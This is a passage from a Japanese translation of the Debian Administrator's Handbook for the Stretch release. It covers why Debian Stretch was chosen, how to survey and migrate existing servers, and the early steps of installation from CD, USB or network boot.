Linux ディストリビューションは 2 種類のカテゴリに分類されます。具体的には商用ディストリビューションとコミュニティ主導ディストリビューションに分類されます。商用ディストリビューションは企業が開発し、商用サポートサービスと一緒に販売されます。コミュニティ主導ディストリビューションはディストリビューションを構成するフリーソフトウェアと同じオープン開発モデルに従って開発されます。

そんなわけで、商用ディストリビューションは市場と関連するサービスを活性化するために新しいバージョンを頻繁にリリースする傾向があります。商用ディストリビューションの将来はディストリビューションを開発する企業の商業的成功と直接の関係があり、既に消えてしまったもの (Caldera Linux、StormLinux、Mandriva Linux など) も多いです。

コミュニティディストリビューションはいかなるスケジュールにも従わない反面、自分で決めたスケジュールには従います。Linux カーネルのように、新しいバージョンはそれが安定したらリリースされ、安定する前にリリースされることはありません。コミュニティディストリビューションが存続することは、十分な数の個人開発者またはサードパーティ企業がサポートする限り、保証されています。

さまざまな Linux ディストリビューションが比較され、以下の理由から Debian が選ばれました。

- Debian はコミュニティディストリビューションであり、その開発はいかなる商業的制約にも無関係に確保されています。さらに Debian の目標は基本的に技術本質であり、この姿勢は Debian プロジェクトの全体的な品質に有利に働くと思われます。

- すべてのコミュニティディストリビューションの中でも、Debian は多くの観点から最重要のディストリビューションと言えます。ここで多くの観点とは、貢献者の数、利用できるソフトウェアパッケージの数、存在し続けている期間を指します。Debian コミュニティの大きさはコミュニティが存在し続けていることを明らかに証明しています。

- 統計的に言って Debian の新しいバージョンは 18 カ月から 24 カ月ごとにリリースされ、5 年間サポートされます。これは管理者にとって好ましいスケジュールです。
- フランスのフリーソフトウェアに特化したサービス会社を対象に行われた調査により、全社が Debian に対する技術支援を提供していることが明らかになりました。その上、Debian はほとんどのサービス会社で社内向けディストリビューションに採用されています。多くの会社から技術支援が提供される可能性が高いことは Falcot Corp の独立性に関して大きな資産です。
- 最後に、Debian は OpenPOWER プロセッサ向けの ppc64el を含む多数のアーキテクチャで利用できます。つまり、Debian を Falcot Corp の最新の IBM サーバにインストールすることも可能でしょう。

IN PRACTICE

Debian 長期サポート

Debian 長期サポート (LTS) プロジェクトは 2014 年に始まり、すべての安定版 Debian リリースに対して 5 年間のセキュリティサポートを提供することを目標にしています。LTS は数多くのマシンを配備している組織にとって最も重要な要素ですから、Debian LTS プロジェクトは Debian を使用する企業からの資源をプールすることを試みています。

➨ `https://wiki.debian.org/LTS`

Falcot Corp では IT スタッフの一人を LTS プロジェクトに投じるほどの余裕がないので、Falcot Corp は Freexian の Debian LTS 契約に加入して金銭面で支援を提供することにしました。このおかげで、Falcot の管理者は、LTS チームに対して自社で使用中のパッケージを優先的に取り扱わせ、問題が起きた場合に LTS チームに直接連絡を取ることが可能になります。

➨ `https://wiki.debian.org/LTS/Funding`

➨ `https://www.freexian.com/services/debian-lts.html`

Debian を選んだら、使用するバージョンを決めなければいけません。Falcot Corp の管理者が Debian Stretch を選んだ理由を見てみましょう。

2.5. Debian Stretch を選ぶ理由とは?

すべての Debian リリースは「**テスト版**」としても知られる変化し続けるディストリビューションとして世に出ます。しかし、執筆時点では既に、Debian Stretch は Debian の最新「**安定版**」になっています。

サーバの品質に気を配っている管理者なら誰もが自然に Debian の安定版を使いたがるという事実に基づくと、Debian Stretch を選ぶのは当然です。前の安定版はまだしばらくの間引き続きサポートされるとは言うものの、Falcot の管理者は前の安定版を選ぶ可能性を検討していません。その理由は、しばらくすれば前の安定版のサポート期間が切れますし、最新版は自分が関心を持つ新しい興味深い機能を備えているからです。

キーワード

既存環境
再利用
移行

章

既存環境の解析と移行

3

目次

異機種環境の共存 40　移行の方法 41

コンピュータシステムを総入れ替えする際には既存のシステムを考慮するべきです。既存のシステムを考慮することで、利用できる資源を最大限に再利用したり、システムを形作るさまざまな要素の相互運用性を保証したりすることが可能です。この章では、コンピュータインフラを Linux に移行する際に従うべき、一般的な枠組みを紹介します。

3.1. 異機種環境の共存

Debian はあらゆる種類の既存環境とうまく融合し、他のオペレーティングシステムとうまく協調して動くように設計されています。市場圧力がソフトウェア開発元に対して規格に従ったプログラムの開発を要求することで、このような完璧に近い調和が生まれます。規格に準拠しているため、管理者はプログラムを入れ替えることが可能です。すなわち、クライアントでもサーバでも、そして自由なものであるか否かに依存せずプログラムを入れ替えることが可能です。

3.1.1. Windows マシンとの統合

Samba の SMB/CIFS サポートは Windows 環境の中で優れた通信を行うことを保証します。Samba はファイルと印刷キューを Windows クライアントと共有し、Linux マシンが Windows サーバで利用できる資源を使えるようにするためのソフトウェアを備えています。

TOOL
Samba

Samba の最新版を使えば Windows サーバが担う機能のほとんどを置き換えることが可能です。具体的に言えば、簡単な Windows NT サーバ (認証、ファイル、印刷キュー、プリンタドライバのダウンロード、DFS など) だけでなく最も先進的なサーバ (Active Directory と互換性を持つドメインコントローラ) でさえも置き換えることが可能です。

3.1.2. OS X マシンとの統合

OS X マシンはファイルサーバやプリンタ共有などのネットワークサービスを提供し、これを利用できます。これらのサービスはローカルネットワークに公開されています。このことにより、他のマシンはサービスを発見し、Zeroconf プロトコルスイートの Bonjour 実装を使い、手作業で設定することなくサービスを利用できるようになります。Debian は同じ機能を提供する Avahi と呼ばれる別の実装を使います。

他方で、ネットワーク上の OS X マシンに向けてファイルサーバを提供するために Netatalk デーモンが使われます。Netatalk は AFP (AppleShare) プロトコルの実装であるのと同時に OS X クライアントがサーバを自動的に発見できるようにするために必要な通知の実装です。

古めの (OS X 以前の) Mac OS ネットワークでは AppleTalk と呼ばれる別のプロトコルが使われていました。Netatalk は AppleTalk プロトコルを使っているマシンを含む環境に対して AppleTalk プロトコルも提供しています (実際、Netatalk は AppleTalk プロトコルのクローンとして始められました)。これによりファイルサーバと印刷キューおよび時刻サーバ (時刻同期) 機能が確保されます。また、Netatalk のルータ機能により AppleTalk ネットワーク間の相互接続が可能になります。

3.1.3. 他の Linux/Unix マシンとの統合

最後に、NFS と NIS によって Unix システムとのやり取りが可能になります。NFS はファイルサーバの機能を提供し、NIS はユーザディレクトリを作成します。多くの Unix システムで使われている BSD 印刷レイヤによって、印刷キューを共有することが可能です。

図 3.1　Debian が OS X、Windows、Unix システムと共存する様子

3.2. 移行の方法

サービスの継続性を保証するために、それぞれのコンピュータの移行計画を立て、計画に従って移行作業を行わなければいけません。この原則はオペレーティングシステムの種類に依存しません。

3.2.1. サービスの調査と確認

見かけの簡単さに反して、サービスを調査し確認することは最も重要な手順です。真面目な管理者はそれぞれのサーバの主たる役割をよく理解していますが、その役割が変わる可能性もありますし、経験豊富なユーザが「奇妙な」サービスをインストールしていたかもしれません。そのようなサービスが存在するとわかれば、少なくともこのようなサービスを場当たり的に削除するのではなく、どのように扱うか決めることが可能です。

Debian への移行作業を段階的に行うという目的で、サーバを移行する前にユーザに Debian プロジェクトを紹介しておくことが賢明です。ユーザが Debian プロジェクトと関わりを持つことができるようするには、移行前に最も一般的かつ Debian への移行後に使うようなフリーソフトウェアプログラムをユーザのデスクトップにインストールすることが役に立つかもしれません。たとえば Libre Office や Mozilla スイートはこのようなソフトウェアの良い例です。

ネットワークとプロセス

nmap ツール (同名のパッケージに含まれます) を使うことで、あるネットワークに接続されたマシンにログインすることなしにそのマシンがホストするインターネットサービスを素早く特定できます。これを行うには、調査対象と同じネットワークに接続されている別のマシンで以下のコマンドを実行するだけです。

```
$ nmap mirwiz
Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-06 21:41 JST
Nmap scan report for mirwiz (192.168.1.104)
```

```
Host is up (0.00062s latency).
Not shown: 992 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
5666/tcp open  nrpe
9999/tcp open  abyss

Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds
```

ALTERNATIVE

利用できるサービスのリストを表示するために netstat を使う

Linux マシン上で netstat -tupan コマンドを実行すると、アクティブ状態および保留状態の TCP セッションと実行中のプログラムがリッスンしている UDP ポートのリストが表示されます。これはネットワーク上で提供されているサービスの識別を容易にします。

GOING FURTHER

IPv6

いくつかのネットワークコマンドは IPv4 (通常デフォルト) と IPv6 を扱うことが可能です。nmap と netstat はそのようなコマンドですが、たとえば route や ip のようなコマンドは IPv6 を扱えません。慣習的には -6 コマンドラインオプションを使うことで IPv6 を扱うことができるようになります。

サーバがユーザにシェルアカウントを提供する Unix マシンの場合、所有者不在のプロセスがバックグラウンドで実行されているかどうかを見つけ出すことは興味深いものです。ps auxw コマンドはユーザ名と一緒にすべてのプロセスのリストを表示します。この情報と、ログイン中のユーザのリストを表示する who コマンドの出力を比較することで、バックグラウンドで実行されている不正で無申告のサーバまたはプログラムを特定することが可能です。crontabs (ユーザが定期的に予定している自動実行の一覧表) にはしばしばサーバの果たす役割に関する興味深い情報が含まれています (cron の完全な説明は第 9.7 節「cron と atd を使ったスケジューリングタスク」205 ページにあります)。

どんな場合でも、サーバのバックアップを行うことは絶対に必要です。すなわち、バックアップをしておけば、移行したことで生じた特定の問題がユーザから報告され、問題が起きた後でも情報を回復することが可能です。

3.2.2. 設定のバックアップ

更新後のサーバに同等の環境を作れるようにするため、それぞれのサービスに対する設定を保存しておくのは賢明です。設定ファイルのバックアップコピーを取ることは最低限必要です。

Unix マシンでは、設定ファイルは通常 /etc/ にありますが、場合によっては /usr/local/ のサブディレクトリにあるかもしれません。これはプログラムをパッケージではなくソースコードを使ってインストールした場合です。また、設定ファイルが /opt/ の下にある場合もあります。

データ管理サービス (データベースなど) では、移行先のソフトウェアで簡単に読み込むことができる一般的なフォーマットでデータを書き出すことを強く推奨します。そのようなフォーマットは通例テキストデータ

であり、ソフトウェアの文書ではこのフォーマットについて説明されています。ここで一般的なフォーマットとは、たとえばデータベースの SQL ダンプや LDAP サーバの LDIF ファイルのことを指します。

図 3.2　データベースのバックアップ

それぞれのサーバソフトウェアには違いがありますから、現存するすべての場合について詳しく述べることは不可能です。移行元と移行先のソフトウェアの文書を比較して、書き出し可能 (そして、再読み込み可能) な要素と手作業で書き出したり読み込んだりする必要があるかどうかを確認してください。本書を読めば主な Linux サーバプログラムの設定をしっかりと把握できるようになるでしょう。

3.2.3. 既存の Debian サーバの引き継ぎ

メンテナンスを効率的に引き継ぐために、既に Debian が稼働中のマシンを解析する必要があるかもしれません。

Debian サーバで最初に確認するファイルは `/etc/debian_version` です。通常 `/etc/debian_version` にはインストールされた Debian システムのバージョン番号が書かれています (`/etc/debian_version` は **base-files** パッケージに含まれます)。バージョン番号が **codename**/sid となっていた場合、Debian サーバのシステムが開発版ディストリビューション (テスト版か不安定版のどちらか) のパッケージを使って更新されたことを意味しています。

`apt-show-versions` プログラム (同名の Debian パッケージに含まれます) はインストールされたパッケージのリストを確認して、利用できるバージョンを識別します。`apt-show-versions` に比べると体系的ではありませんが、`aptitude` を同様の目的で使うことも可能です。

`/etc/apt/sources.list` ファイル (と `/etc/apt/sources.list.d/` ディレクトリ) をぱっと見ただけで、インストール済みの Debian パッケージの取得元がわかります。ここにたくさんの未知の取得元があった場合、管理者は Debian が提供するソフトウェアとの最適な互換性を確保するために、コンピュータシステムを完全に再インストールするかもしれません。

多くの場合、この `sources.list` ファイルが良い手掛かりとなります。なぜなら大多数の管理者は、少なくともコメントの中で、過去に使っていた APT ソースのリストを残しているからです。しかし、過去に使っていたソースは削除されているかもしれないこと、インターネットから取得されたでたらめなパッケージが手作業で (`dpkg` コマンドを使って) インストールされているかもしれないこと、を忘れるべきではありません。こ

の場合、マシンは「標準的な」Debian の外観に偽装されている恐れがあります。そのため、外部パッケージの存在を示す兆候を見逃さないようするべきです (通常では考えにくいディレクトリに deb ファイルがあったり、パッケージのバージョン番号のサフィックスに ubuntu や lmde などの特別なものが使われていたら、それは Debian プロジェクト以外で作られたことを意味しています)。

同様に /usr/local/ ディレクトリの内容を分析するのは興味深いです。このディレクトリは手作業でコンパイルおよびインストールされたプログラムを収めるための場所です。手作業でインストールされたソフトウェアをリストアップすることは有益です。なぜなら、そうすることで Debian にもそのソフトウェアに類似するパッケージがあるにも関わらずそれを使っていない理由に疑問を提起できるからです。

QUICK LOOK

cruft

cruft パッケージはいかなるパッケージによっても所有されていないファイルのリストを提案します。正規のファイル (Debian パッケージが生成したファイル、dpkg で管理されていない生成された設定ファイルなど) が報告されるのを避けるためにいくつかのフィルタ (おおむね有効で、おおむね最新のフィルタ) を持っています。

cruft がリストアップしたすべてのファイルを削除する場合には、用心のため事前に要否の確認を行った後、削除してください!

3.2.4. Debian のインストール

現在のサーバに関するすべての必要な情報を集め終わったら、サーバを停止させ、Debian のインストールを始めることが可能です。

適切なバージョンを選ぶには、コンピュータのアーキテクチャを知らなければいけません。まあまあ最近の PC ならば、アーキテクチャは十中八九 amd64 でしょう (古めの PC なら i386)。それ以外の場合、以前使っていたシステムから可能性を狭めることが可能です。

表 3.1 はすべてを網羅することを意図したものではありませんが、参考になります。いかなる場合でも、コンピュータの原資料はこの種の情報を探すには最も信頼できるソースです。

HARDWARE

64 ビット PC 対 32 ビット PC

最新のコンピュータは、古めの 32 ビットプロセッサと互換性のある 64 ビット Intel もしくは AMD プロセッサを搭載しています。そしてこのために「i386」アーキテクチャ向けにコンパイルされたソフトウェアが動きます。一方で、この互換モードでは新しいプロセッサの性能を十分に引き出せません。このため、Debian は「amd64」アーキテクチャを提供しています。これは最近の AMD チップおよび AMD64 によく似た Intel「em64t」プロセッサ (ほとんどの Core シリーズを含みます) に有効です。

3.2.5. 選ばれたサービスのインストールと設定

Debian のインストールが完了したら、コンピュータがホストするすべてのサービスについて 1 つずつインストールと設定を行わなければいけません。移行を円滑に進めるためにも、新しい設定は古い設定を考慮して行われなければいけません。最初の 2 ステップで集めたすべての情報が、この作業を成功のうちに完了させるのに役立つでしょう。

オペレーティングシステム	アーキテクチャ
DEC Unix (OSF/1)	alpha、mipsel
HP Unix	ia64、hppa
IBM AIX	powerpc
Irix	mips
OS X	amd64、powerpc、i386
z/OS、MVS	s390x、s390
Solaris、SunOS	sparc、i386、m68k
Ultrix	mips
VMS	alpha
Windows 95/98/ME	i386
Windows NT/2000	i386、alpha、ia64、mipsel
Windows XP / Windows Server 2008	i386、amd64、ia64
Windows RT	armel、armhf、arm64
Windows Vista / Windows 7-8-10	i386、amd64

表 3.1　オペレーティングシステムとアーキテクチャの照合

図 3.3　選ばれたサービスのインストール

意気込んで行動を起こす前に、本書の残りの部分を読むことを強く推奨します。そうすることで、運用予定のサービスを設定する方法について、正確な理解を得ることができるでしょう。

キーワード

インストール
パーティショニング
フォーマット
ファイルシステム
ブートセクタ
ハードウェア検出

章

インストール 4

目次

インストール方法 48　インストール作業の各段階 50　初回起動の後 68

Debian を使うには、コンピュータにインストールする必要があります。そしてインストール作業を担当しているのが debian-installer **プログラムです。適切なインストール作業は多くの手順からなります。この章ではそれぞれの手順を時系列順に概説します。**

BACK TO BASICS

付録の補習講座

コンピュータの仕組みをよく知っているなら、インストール作業は難しくありません。よく知らないなら、この章を読む前にちょっと遠回りして付録 B「簡単な補習講座」449 ページを読んでください。

Stretch 向けのインストーラは `debian-installer` を使っています。`debian-installer` の採用するモジュール式設計のおかげで、インストーラはさまざまな状況下で動作し、進化し、変化に適応することが可能です。数多くのアーキテクチャをサポートすることで生じる制限にも関わらず、インストールの各段階でユーザを補助することにより、インストーラは初心者にとても優しいものになっています。自動ハードウェア検出、ガイド付きのパーティショニング、グラフィカルユーザインターフェースのおかげで、初心者が Debian を使い始めた初期に直面するほとんどの問題は解決されています。

インストール作業を行うには 128 MB の RAM (ランダムアクセスメモリ) と最低 2 GB のハードドライブの空き領域が必要です。Falcot のすべてのコンピュータはこの基準を満足しています。しかし、これらの数字はグラフィカルデスクトップを含まない、極めて限定されたシステムをインストールする際の最低要件であるということに注意してください。一般的なオフィスデスクトップワークステーション用途では、最低でも 512 MB の RAM と 10 GB のハードドライブの空き領域が推奨されます。

BEWARE

Jessie からのアップグレード

Debian Jessie が既にコンピュータ上にインストール済みなら、この章を読まなくても構いません! 他のディストリビューションと異なり、Debian はシステムを再インストールすることなく、あるバージョンから次のバージョンに更新することが可能です。再インストールは不必要というだけでなく、危険をはらんでいます。なぜなら、再インストールは既にインストール済みのプログラムを削除してしまうからです。

Debian システムのアップグレード方法は第 6.6 節「安定版から次のディストリビューションへのアップグレード」125 ページで説明されています。

4.1. インストール方法

Debian システムは、マシンの BIOS が対応していれば、さまざまな種類のメディアからインストールできます。たとえば、CD-ROM、USB メモリ、さらにネットワーク経由からも起動できます。

BACK TO BASICS

BIOS、ハードウェアとソフトウェアのインターフェース

BIOS (Basic Input/Output System の略) はマザーボード (すべての周辺装置を接続する電子回路ボード) に組み込まれたソフトウェアで、オペレーティングシステムを読み込むために (適合するブートローダ経由で) コンピュータの起動時に実行されます。BIOS はバックグラウンドでハードウェアとソフトウェア (今回の場合 Linux カーネル) 間のインターフェースを提供します。

4.1.1. CD-ROM/DVD-ROM からのインストール

システムのインストール時に最も広く使われている方法が CD-ROM (DVD-ROM を使っても全く同じです) からインストールする方法です。具体的に言えば、コンピュータは CD-ROM や DVD-ROM から起動され、インストールプログラムが以降の作業を引き継ぎます。

Debian はさまざまな種類の CD-ROM を用意しており、各 CD-ROM は別々の用途向けに設計されています。たとえば **netinst** (ネットワークインストール) にはインストーラと Debian 基本システムが含まれており、

従ってそれ以外のプログラムはダウンロードされます。**netinst** の「イメージ」はディスクと完全に同じ内容の ISO-9660 ファイルシステムで、そのサイズは 150 から 280 MB 程度です (イメージのサイズはアーキテクチャに依存します)。一方で、完全版にはすべてのパッケージが含まれ、インターネットにアクセスできないコンピュータにシステムをインストールすることが可能です。完全版には 14 枚程度の DVD-ROM が必要です (Blu-ray ディスクの場合は 3 枚です)。公式の完全版 CD-ROM セットはありません (枚数が非常に多かったことがその理由です)。しかしながらプログラムは人気と重要度に基づいてディスクごとに分けられているため、最もよく使われているソフトウェアが含まれている 1 枚目のディスクがあれば、多くの場合に事足ります。

最後のイメージは `mini.iso` としても知られており、インストーラの副産物として入手できます。このイメージにはネットワークを設定するために必要な最小限の要素だけが含まれており、その他の要素はすべてダウンロードされます (インストーラの部品もダウンロードします。このため、インストーラの新バージョンがリリースされた時点でこのイメージは使えなくなります)。`mini.iso` のイメージは普通の Debian アーカイブミラーの `dists/`**`release`**`/main/installer-`**`arch`**`/current/images/netboot/` ディレクトリの下に配置されています。

TIP

マルチアーキテクチャディスク

多くのインストール CD-ROM や DVD-ROM は単一のハードウェアアーキテクチャ専用です。完全版をダウンロードする場合、システムをインストールしたいコンピュータのハードウェアで動作するインストーラが組み込まれている CD-ROM や DVD-ROM を選ばなければいけません。

一部の CD/DVD-ROM イメージは複数のアーキテクチャで動作します。このため、**i386** と **amd64** アーキテクチャの **netinst** イメージを含む CD-ROM イメージが用意されています。

Debian のインストール用 CD-ROM を作るためには、CD-ROM イメージをダウンロードして、ディスクに書き込む必要があります。Debian インストール用 CD-ROM は購入することも可能で、これはプロジェクトに対する幾ばくかの資金援助になります。DVD-ROM イメージ業者とダウンロード場所のリストがウェブサイトで公開されています。

➡ `http://www.debian.org/CD/index.html`

4.1.2. USB メモリからの起動

多くのコンピュータは USB デバイスから起動できるため、USB メモリ (これは単なるフラッシュメモリディスクに過ぎません) から Debian をインストールすることも可能です。

インストールマニュアルでは `debian-installer` を含む USB メモリを作成する方法が説明されています。USB メモリの作成手順は極めて単純です。なぜなら、i386 と amd64 アーキテクチャ用の ISO イメージは CD-ROM からだけでなく USB メモリからも起動できるハイブリッドイメージになっているからです。

最初に USB メモリのデバイス名を確認しなければいけません (たとえば /dev/sdb です)。これを行う最も簡単な方法が `dmesg` コマンドを使ってカーネルの出したメッセージを確認する方法です。次に前もってダウンロードしておいた ISO イメージ (たとえば debian-9.0.0-amd64-netinst.iso) を `cat debian-9.0.0-amd64-netinst.iso >/dev/sdb; sync` というコマンドを実行してコピーしなければいけません。このコマンドは USB メモリに直接アクセスし、無差別に内容を削除するため、実行には管理者権限が必要です。

より詳しい説明はインストールマニュアルに書いてあります。インストールマニュアルの中で特に注目すべき箇所は、より複雑な手順で USB メモリを準備する方法です。この方法を使うことで、インストーラのデフォルトオプションを (カーネルコマンドラインを使い) カスタマイズすることが可能です。

➡ http://www.debian.org/releases/stable/amd64/ch04s03.html

4.1.3. ネットワークブート経由のインストール

多くの BIOS では、カーネルと最低限のファイルシステムイメージをダウンロードすることでネットワークからカーネルを直接起動できるようになっています。PXE や TFTP ブートなどと呼ばれるこの方法は CD-ROM ドライブを持たないコンピュータやメディアからの起動をサポートしていない BIOS を備えたコンピュータにインストールを行う場合の救世主になります。

ネットワークブート経由のインストール方法は 2 段階で行われます。最初に、コンピュータ起動中に BIOS (またはネットワークカード) が自動的に IP アドレスを取得するために BOOTP/DHCP 要求を出します。BOOTP または DHCP サーバがこれに応答し、ファイル名とネットワーク設定を返します。ネットワークの設定が終了した後、クライアントコンピュータは先に返されたファイル名のファイルを取得するために TFTP (Trivial File Transfer Protocol) 要求を出します。ファイルの取得が終わったら、ファイルをあたかもブートローダであるかのごとく実行します。そしてブートローダが Debian インストールプログラムを起動し、インストーラがハードドライブ、CD-ROM、USB メモリから起動したのと同様に実行されます。

ネットブート経由のインストール方法に関するすべての詳しい情報はインストールガイド (「TFTP ネットブート用ファイルの準備」の節) に書かれています。

➡ http://www.debian.org/releases/stable/amd64/ch05s01.html#boot-tftp

➡ http://www.debian.org/releases/stable/amd64/ch04s05.html

4.1.4. その他のインストール方法

Debian を多数のコンピュータに特別な設定でインストールしなければいけない場合、手作業ではなく自動でインストールを行うことが多いです。インストールの状況と複雑度合いに依存しますが、FAI (Fully Automatic Installer、第 12.3.1 節「Fully Automatic Installer (FAI)」339 ページで説明されています) を使うか、preseed ファイルを使ってカスタマイズされたインストール DVD (第 12.3.2 節「Debian-Installer の事前設定」341 ページを参照してください) を使えば、自動でインストールを行うことが可能です。

4.2. インストール作業の各段階

4.2.1. 起動とインストーラの開始

BIOS が CD-ROM や DVD-ROM からの起動を開始したら、Isolinux ブートローダメニューが表示されます。この段階では Linux カーネルはまだ読み込まれていません。従ってこのメニューでは、起動させるカーネルを選択し、起動処理中にカーネルに渡すことが可能なパラメータを入力できます。

標準的なインストールを実行したい場合、矢印キーで「Install」もしくは「Graphical install」を選び、Enter を押して残りのインストール作業を開始します。DVD-ROM が「マルチアーキテクチャ」ディスクであり、マシンが Intel または AMD の 64 ビットプロセッサを搭載している場合、「Install」もしくは「Graphical

install」を選択することで 64 ビット版 (**amd64**) がインストールされます。ここで 32 ビット版をインストールするには専用のサブメニュー (「32-bit install options」) を選択してください。また、マシンが 32 ビットプロセッサを搭載している場合、「Install」もしくは「Graphical install」を選択することで 32 ビット版 (**i386**) がインストールされます。64 ビット版をインストールする事はできないので、メニューには 64 ビット版をインストールするメニューエントリは存在しません。

GOING FURTHER

32 ビットか 64 ビットか?

32 ビットシステムと 64 ビットシステムの本質的な差異はメモリアドレスのサイズにあります。理論的には、32 ビットシステムでは 4 GB (2^{32} バイト) 以上の RAM を取り扱うことができません。現実的には、PAE (物理アドレス拡張) 機能を扱えるプロセッサを備えたマシンで `686-pae` カーネル版を使うことでこの制限を回避することが可能です。しかし、PAE を使うとシステムの性能に深刻な影響をおよぼします。そのため、大容量の RAM を載せたサーバでは 64 ビットモードを使うほうが有益です。

オフィスコンピュータ (数パーセントの性能の違いを無視しても構わない場合) について言えば、一部のプロプライエタリプログラム (たとえば Skype) は 64 ビット版を提供していない場合があることを覚えておいてください。技術的に言えば、これらのプログラムを 64 ビットシステムで動かすことは可能です。しかし、すべての必要なライブラリの 32 ビット版をインストールしなければいけませんし (第 5.4.5 節「マルチアーキテクチャサポート」95 ページを参照してください)、`setarch` または `linux32` コマンド (**util-linux** パッケージに含まれます) を使ってシステム環境に関してアプリケーションを騙さなければいけない場合があります。

IN PRACTICE

Debian を既存の Windows システムと共存させる

コンピュータで既に Windows が動いている場合、Debian をインストールするのに Windows システムを削除する必要はありません。Windows と Debian を別のディスクまたはパーティションにインストールすれば、Windows と Debian のシステムを同時に備え持つことが可能で、コンピュータの起動時に起動するシステムを選択することが可能です。この構成は「デュアルブート」と呼ばれており、Debian のインストールシステムは「デュアルブート」構成を設定できます。設定はインストール中のハードドライブのパーティショニング段階およびブートローダの設定段階で行います (補注「 Windows パーティションの縮小」62 ページおよび「 ブートローダとデュアルブート」67 ページを参照してください)。

既に稼働中の Windows システムがある場合、CD-ROM を使わずとも Debian をインストールできます。Debian は軽量の Debian インストーラをダウンロードして、ハードディスクに Debian をセットアップするための Windows プログラムを提供しています。コンピュータを再起動し、Windows を通常起動するかインストールプログラムを起動するかを選択するだけです。また、このプログラムはかなり露骨な名前の専用ウェブサイトで配布されています…。

➨ `http://ftp.debian.org/debian/tools/win32-loader/stable/`

➨ `http://www.goodbye-microsoft.com/`

BACK TO BASICS

ブートローダ

ブートローダとは BIOS から操作を受け取った直後に Linux カーネルを起動させる低レベルプログラムです。この作業を行うために、ブートローダは起動したい Linux カーネルの格納場所を探すことができなければいけません。i386 と amd64 アーキテクチャでブートローダとして最も利用されているプログラムは比較的古参の LILO とその現代的な代替である GRUB です。Isolinux と Syslinux はリムーバブルメディアから起動する際によく使われる代替プログラムです。

各メニューエントリはそれを選択して Enter を押した後に実行されるコマンドに対応しています。必要に応じて実行されるコマンドを編集するには、エントリを選択した後 Enter を押す前に TAB キーを押します。「Help」メニューエントリは古いコマンドラインインターフェースを表示します。このインターフェースで

は、F1 から F10 までのキーを使って、プロンプトから利用できるさまざまなオプションについての詳細が書かれた別のヘルプ画面が表示されます。極めて特殊な場合を除いて、「Help」メニューエントリを参照する必要はないでしょう。

「expert」モード (「Advanced options」メニューの中にあります) を使うことで、インストール中に利用できるすべてのオプションを詳細に設定したり、各インストールステップを自動的に次々と進むのではなく毎回ナビゲーションを表示するようにできます。「expert」モードはとても詳細なモードで、設定できる選択肢が数多く表示されすぎてわかりにくいかもしれませんので、ご注意ください。

図 4.1　起動画面

ひとたび起動すれば、インストールプログラムがインストールの最初から最後まですべての手順を誘導します。この節ではそれぞれの手順を詳細に解説しています。ここでは amd64 DVD-ROM (より詳しく言えば Stretch インストーラの RC 3) を使ったインストールを順に見ていきます。**netinst** を使ったインストールおよびインストーラの完成版では、少し様子が違うかもしれません。グラフィカルモードのインストールの様子も載せていますが、「クラッシック」(テキストモード) インストールとの違いは見た目だけです。

4.2.2. 言語の選択

起動直後のインストールプログラムでは英語が使われていますが、最初にこれ以降のインストール作業の表示言語として使われる言語を選択します。たとえば、日本語を選択したらインストール中の表示言語はすべて日本語になります (そしてシステムも日本語に設定されます)。さらに、以降のインストール作業のデフォルト選択肢 (特にキーボードレイアウトのデフォルト選択肢) がより適切なものになります。

BACK TO BASICS

キーボード操作

インストール作業のいくつかの段階では情報の入力が求められます。それらの画面にはさまざまな入力場所 (テキストエリア、チェックボックス、選択リスト、OK ボタンやキャンセルボタン) があり、入力場所は「フォーカスされている」かもしれません。それぞれの入力場所からフォーカスを移動させるには、TAB キーを使ってください。

グラフィカルモードでは、いつもグラフィカルデスクトップでやっているのと同じやり方でマウスを使ってください。

図 4.2　言語の選択

4.2.3. 国の選択

2 段階目に国を選択します。インストーラは、先に選択した言語と国の情報を組み合わせて、最も適切と思われるキーボードレイアウトを提案します。さらに、国情報はタイムゾーンの設定にも影響をおよぼします。ここで日本を選択した場合、日本で標準的な QWERTY キーボードが提案され、適切なタイムゾーンが提供されます。

図 4.3　国の選択

4.2.4. キーボードレイアウトの選択

ここで提案された「日本語」キーボードは日本で主流の QWERTY レイアウトです。

図 4.4　キーボードの選択

4.2.5. ハードウェアの検出

ほとんどの場合、ハードウェア検出は完全に自動的に行われます。インストーラがハードウェアを検出し、CD の内容を読み出すために CD-ROM ドライブを特定しようと試みます。インストーラは検出されたさまざまなハードウェアに対応するモジュールを読み込み、その後 CD-ROM を「マウント」して内容を読みます。ここまでの段階を CD に含まれる起動イメージ (サイズが制限されており、CD からの起動時に BIOS がメモリ内に読み込んだファイル) が担当しています。

インストーラはほぼすべてのドライブ、特に標準的な ATAPI 周辺機器 (IDE や EIDE と呼ばれることもあります)、を取り扱うことが可能です。しかし、CD-ROM ドライブの検出に失敗する場合、インストーラは CD-ROM ドライバに相当するカーネルモジュールを (たとえば USB メモリから) 読み込むための画面を表示します。

4.2.6. コンポーネントの読み込み

CD の内容が利用できるようになったら、インストーラは以降の作業に必要なすべてのファイルを読み込みます。これには、残りのハードウェア (特にネットワークカード) 用の追加ドライバおよびインストールプログラムの構成要素が含まれます。

4.2.7. ネットワークハードウェアの検出

この段階でインストーラは、ネットワークカードを自動的に特定し、関連するモジュールを自動的に読み込もうとします。自動検出に失敗した場合でも、手作業で読み込むモジュールを選択できます。どのモジュールでも動かなければ、リムーバブルデバイスから個々のモジュールをロードすることが可能です。最後に挙

げた解決策は、適切なドライバが標準的な Linux カーネルには含まれていないけれども、メーカーのウェブサイトなど別のどこかから入手できる、という場合のみ必要です。

netinst を使ってインストールする場合、Debian パッケージはネットワークから読み込まれるため、この段階は間違いなく成功するでしょう。

4.2.8. ネットワークの設定

可能な限り各段階を自動化するために、インストーラは DHCP (IPv4 の場合) と IPv6 のネットワーク発見機能を使って自動的にネットワークを設定しようとします。設定に失敗した場合、多くの選択肢が提案されます。ここで提案される選択肢には、通常の DHCP 設定で再挑戦、マシンの名前を宣言して DHCP を設定、静的なネットワークを設定、があります。

ここで挙げた最後の選択肢を選んだ場合、IP アドレス、サブネットマスク、ゲートウェイの IP アドレス、マシン名、ドメイン名、の情報が必要です。

TIP

DHCP を使わない設定

